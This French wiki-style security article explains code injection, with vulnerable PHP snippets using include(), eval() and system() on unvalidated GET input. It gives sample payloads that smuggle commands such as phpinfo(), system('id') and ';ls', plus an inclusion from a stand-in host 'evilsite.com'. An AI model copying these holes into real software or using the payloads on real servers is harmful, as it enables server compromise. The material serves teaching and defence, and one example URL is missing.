Table of Contents
= Description #=
Injection de code est le nom générique pour un grand nombre de types d'attaques qui sont basées sur l'injection de code, et interprétées par l'application. Une telle attaque peut être réalisée soit par addition de chaînes de caractères dans un cookie ou valeurs d'arguments dans l'URI. Cette attaque exploite un manque de précision dans la validation des données d'entrée / sortie, par exemple:
- classe de caractères autorisés (expressions régulières statndards ou personnalisées)
- format de données
- quantité de données attendues
- une entrée numérique, les valeurs
Injection de code et injection de commandes ont les mêmes ojectifs, cependant, le concept de l'injection de code consiste à ajouter un code malveillant dans une application, qui sera ensuite exécuté. Ajout de code fait partie de l'application elle-même. Ce n'est pas un code externe qui est exécuté, comme c'est le cas avec l' injection de commandes .
= Exemples #=
Exemple 1
Si un site utilise la fonction include (), qui fonctionne sur les variables envoyées avec la méthode GET, et il n'y a pas de validation effectuée sur eux, alors l'attaquant peut essayer d'exécuter un code différent de celui dont l'auteur du code avait en tête.
L'URL ci-dessous affiche l'information sur la façon de contacter avec l'entreprise testsite.
<yamdwenowiki>0</yamdwenowiki>
Voici le code modifié sur le site : <nowiki>http://evilsite.com/evilcode.php</nowiki> . Le script “evilcode.php” peut contenir, par exemple, une fonction phpinfo (), qui est utile pour obtenir des informations sur la configuration de l'environnement dans lequel le service Web s'exécute.
<nowiki>http://testsite.com/?page=http://evilsite.com/evilcode.php</nowiki>
Une condition doit être remplie pour que cet exemple soit un succès, à savoir la configuration du serveur web doit permettre d'inclure des fichiers dans le “http:” notation.
# Exemple 2 #
Quand un programmeur utilise la fonction eval () et opère sur les données qu'il contient, et ces données peuvent être modifiées par l'attaquant, alors c'est de Injection de code.
L'exemple ci-dessous montre comment utiliser la fonction eval ():
$myvar = “varname”;
$x = $_GET['arg'];
eval(“\$myvar = \$x;”);
Le code ci-dessus qui sent comme une rose peut être utilisé pour effectuer une attaque par injection de code.
Exemple: passage dans l'URI /index.php?arg=1; phpinfo()
Lors de l'exploitation des bugs comme ceux-ci, l'attaquant n'a pas à se limiter uniquement à une attaque par injection de code. L'attaquant peut tenter lui-même d'utiliser la technique d'injection de commande, par exemple.
/index.pho?arg=1; system('id')
# Exemple 3 #
<?php
$varerror = system('cat '.$_GET['pageid'], $valoretorno);
echo $varerror;
?>
en utilisant ce genre de code, nous pouvons attaqué comme indiqué au point 2 par exemple
en utilisant Live HTTP Headers ou en utilisant la méthode GET vous pouvez faire ce genre de pétition:
vulnerable.php?pageid=loquesea;ls
ls est la commande que nous exécutons, mais on peut utiliser d'autres commandes du serveur.
